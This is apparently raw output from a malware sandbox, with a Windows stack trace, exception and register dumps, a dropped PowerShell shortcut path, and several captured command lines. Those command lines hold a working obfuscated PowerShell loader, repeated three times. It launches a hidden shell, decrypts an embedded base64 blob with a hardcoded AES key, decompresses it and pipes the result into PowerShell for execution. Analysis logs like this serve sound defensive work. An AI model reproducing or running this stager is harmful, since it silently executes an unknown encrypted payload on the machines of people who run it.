CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefda43e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefd8f0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefd8f0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefd4fa49d
registers.r14: 0
registers.r15: 0
registers.rcx: 110879376
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 110885328
registers.r11: 110881136
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1887193899
registers.r13: 0
1 0 0
file C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $mCNNv = 'AAAAAAAAAAAAAAAAAAAAAG/ebLL6mbaeYT9ucj4uk9+izEWAg+Ksft29i6cwAhx2H59RKiQmRD07NfSvkYPbJPdBfc7QHKdOMBXRDWTtaek329s1tyk2s4LwNkzIwJoUljgy/+EqxR8M0/aoWEu+sjSDh7fUQD/vS2tTgZXfNBd18YqmsMWpgvORrX8F7npFy9fyny5S3olIuUtDoWqzET2jHhnHOsw2ChbYKlQkHlfSAa3sI7NFAFWOckJ1pUMjVFzmoF/k2qTqFUnNyOo28XDBiA9xYnguAz0Sp27qYiCxC3lVyb8qxLrWT+0cGvdOVuvIo9zKP5wCgWq56W9LWjIqJSFsrd2JdUiclVZLQddJa1TPXBqnqSMV+4gs9lQ5Qx4mqtHidr+BeaBDcCx6YcJri8L68hR/8mA4izbOTkWqD6KpR+Aw71EULQuYTDH38hGdBl+dS0a9DXPFxL9aAsQwr0cWBN59VKrzD1na1a4dGiBTjDXlQlwOPwEa1oZZgo6MgRi4fYdYAh5NcxTOY4iVWzrL7f7MYxslSmyjdGclje8TOcUYUCAT0oAQdrfO9WAhUQLGNI4oKtSV5vts6pVeNdEMR3vcSdiCL3yE4AZJHZ4x+neYJFubGeB+PlQ6cb7a7KHb7L9XyxT5LHxjH0eZ8YpGpLBGt0V/X2xwYJZkOnfoK1ZDxFN04qsxBUG/etmWjZyD/4g+r2qTBaxAdJjOA9LaJZSAGdQCGEamoH+e/z62JxaoXksmpMjtbPK2USNCPReTHPpLChXC3so3TzVtZBzQgeyf+9E4npPbLL/jbkL3Gd+1JR0F1S/0LVC5rY6zZ6+5DctTY7JovunTyE61Lfdd/AMw7EgqbnqfrceI/bwXjWWgYT1uiBItMGp5mxZbvA4GqqwTyvRCDLDVH+WcI3WgPPgtif9mhFpN4abHWpzC6hH0cq9wJvP4Y/pQFE83KPq+c7C3iq6PcoFCm9966l+Dg/8yO6V3W9is0jcjj2eW8ZoYXWUgiuk9AsNbx7bkNjXHWHvQD4qk8lat8t9iafQRYaNxnLwlWX3X3cyLvi9SwItdqUF2t4OUTwFuXaGkO5rBq2KiT+RaNSJLB3ZZJzLYTXfPwGbpbFX0ONIPdozZYFoL1LS5cyjJca6oMLRhBqPgyJeyyQEE4J1706QDarKlLXtHggvsWXNsjJ3D1gWcT6x76MZKinLHFfYHMKDjdNbSL15CSy+ip59dfMOQQrr5Aj3+sJmoMVFfc+1EGvYNBBzNAxL5mZR65AxVBRK1oGZFPJYnN+OSyMtTeZYnLnVZI+JXUs0qdURIinE43u9f7S5RCWkIgSEnBKq+IvmqN+YIftQm32TmQKyJhz6XuT5oGnoECduu+FDOvu5OkW1sBPE6wR6Zd1bDwQbqpreVuOouO0V1LBm5kJh0ZiYyfdOZsPlKAUa2mF9/q+xYPVHOp7IOfACgRb/5xkaIUd8ZPBO4TSsmegkUGvHXzBJGonf6GBECYGO0xSDYbLFpFqLFSl8UwGLj+O9lZeQqakP6SECihKSILWgLphP0Tbb+Y31I/GVxUzGRye098TPbghT2O9JJ2Pr94eU0V6IFYM9CCzEOQ6MgbzR6Gnkqihk1C8nsCJwdgCD+yWIljFA4idyImt0MjR/5Xyum53PwH9PGswfN2b98oHUdkMWG8+Iinl8wdNvPP2KxuOsTEduAnDeG23INewGHHNxqV6wIzPYbNuiBY1uCF0pN+NgJkdv0oHE/IIePiT4NrWm9u0fYm0SDVbmHvylotejNy11HDlgKPzqPWBvM6qY8IytDmMwejCtuN7zamzCTyCw9qpoXLA9ZWWksvTMRPleIuhY4/GA6bW/I965UXUmYl18/j/UZc+p3RlZgE2duDNgTGTej6m7DZaCwAVBVN2vJA1jFlDpOyleMAFsV/md2ynRoPBMUx3kbQKx4v3z2orTcwV3rPx+IuQtaVojvhJqeEAB6RvZvmEtSZXLcLTerC3hnh4cMmMi+SAjUNgDH3VKTCjCgVFvgcdWuyDqTco6gGxLIGwTEXFMerXCCgYuAZdVpH1b4VRDa9RIyCU4STTujz+HMYxJ4Dtf3114NDeeuPLjGE0He9XebURwY8X4yiFGPmVSEjCBlxcTuq1Hl3RdNzACBU82SG+qnsOH0yyEYicXpAm3eBACe3lx9TYpO3zIDQhOSGAk898xYKH1vFdYVsUlREsWqu+vU27YXcFWcyKZHK7IR6Xx45I9lHUTMCicamZBrcRMs0ulRFM4oc8vxv45WWSwD4+wF3yt25WKiua8a/eUl3jQDa7RGhQXv/KEBK4DJJ7bZiZqgpThRgVb1Kd5PQYPQj/g5LfFizdc8sZjDoxg/afD5lmC0pGh7y9y/fICCkpXYgaCEBlb7FHswK9Sk81rpLdebV6KTGSTtkcSNNVrzcidfsb32B5RTq8zcb6j5phKGUXd/REaCwmz4yWVcDaG3skE66eivOOHt759BDUd1TLvv3e6qZ7D+YiEtxdrnGzQJBvOd5YNuLiPN/iLG7BBGtg/sTk236NwiqUJLRVcCk8WOLFBNwVaAPvmJMI07c7X052WPCms7SZLHqwT+/Rx8Nhxl3Oqog/LmnZL6vy9ePSnQNttH3qrgZJcRvrbtSbr0FDusnqKBAIRQ1uk2H11OfJz++Ge/+hinzTddA4FVpIT2ANSVukEkRamg65FqcsR5FfSbbGef37rw3Jr7V+nRjuT+QRqOy+IK6Flifmeo39wo1h7fD2jNNjOFQblO4GuzneqSiYEqldT9hLC11EHda/9oUxQrdNv/FEzMNJHPRDAtAYIJ9gnOFGQ11CpkHa1qkdbSCTNt7mQj+qtGtXOLxcFYkv7GeeHfN2wMlTklyRRJrKm85MpizHRVzF5aQgyxYeccnJ7PVikj6P/t5PJu1OulAP2E+UyeZPGtT5elPyejpptYK9EYQLdPncEuNUtd8fODmGelVe/lkIqupJQki16u4nfc56ehVXqfuN9fSn0RPvGIvc/qlCQY1prndG7Mjly3pGtL9iCwr34QWrM+goroM01L3URva7yVJbOyx/u2u+ygb6VL+RPxlCo7Bw9b3+wkD33jmp9oAFKVpL5yzO3MRl7yYF59oXzWPEYbtH4uXsnHii8v3947mNrgUZ6k696oX3OyxD7a7eF6dipjRwkI+gqndJ+CNWg1Fv+e1G935/NHAKoyGGcOgtbq10RxuLrBoYlzy6u0IMJJGcMW6aw7eYqJwmMocKgi/he7Z8GY8OS+UtTJXO43r7FvUfpC0Z6+Rwip36UssS0Evs+U9TrZtDHVnR2q9inMCsikIdZ95TI5H7OEzbnhRFd2/JpDmRMap4/pyKLAMEhVXYoQj7aHhh+B2GUGJWss/n3hF5qllawfdxJl+Tb2YdfHrVvJcBSFZjrUMjmtKouJZAI6erXBAoevbRnhio83aLcNj3HplTKEhNXhhH3zXQbOk767uwH0nmJpuCsT8sypExjqBrZVbi0Xd0gwR/ye0sENYu+VFBJeaywKd8arUQTaMyMOIz8y1hobtEXUuW3gcKGsIzlej5fGoML2izv0pyGyN+Q/JJddNjPRoc6tIFiQTBdIjbsZeAcsfwKr/1UsuYnPhDOrt6HxFprQezOFaI5t7mo45bKRP5R+ZUMTNZpoTFG8ng8MmSOop+Qm5zDiaNek05JMtt0kHsRX/tloeeMn1fekvGj0Ryc5Eyg3lAQhnk24tUdUcj8zo6bbK0GMvq4KcW8vIca2sAaI0CNYQkOBF/xgi3qwhgIDYnvDyL4MNbhA+SrmQiD63xEYM3RHOfKT1+7hbc67O57rLo2A8y17JIcK+8SzucnSTnAdXOjOfyL0B/CNslL4hDZsFVFT95jG650w/AwU009qoHN2nDnT3iHFB2xQJJxbCUD+Wg7cbq1zWngQfDrukJlFmBv6uaxNiud2LlZR6G1C5/Cox9bP4Lw1reIMwD6OAxzcOoif8Eyb1m4w0Utdg60fZJaOFfVVDwTuB2rAl5Sgo6a9yhQgP9cXTjGhresoeE21b5+Bw4t00qI2UHGotEM4yBZYZ1DnHgiiYVKAdRljZ+rWm6is9UiCBbl7gJY4OUViFrmGQD6Ni1rl3Ad5WR+VZcR8VzsIWj7JjQQ3RKKzsf0PC5tW6s1wSKI0Co7phjEjUQ==';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell - }
cmdline C:\Windows\System32\cmd.exe /c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell -
cmdline powershell -
cmdline powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl
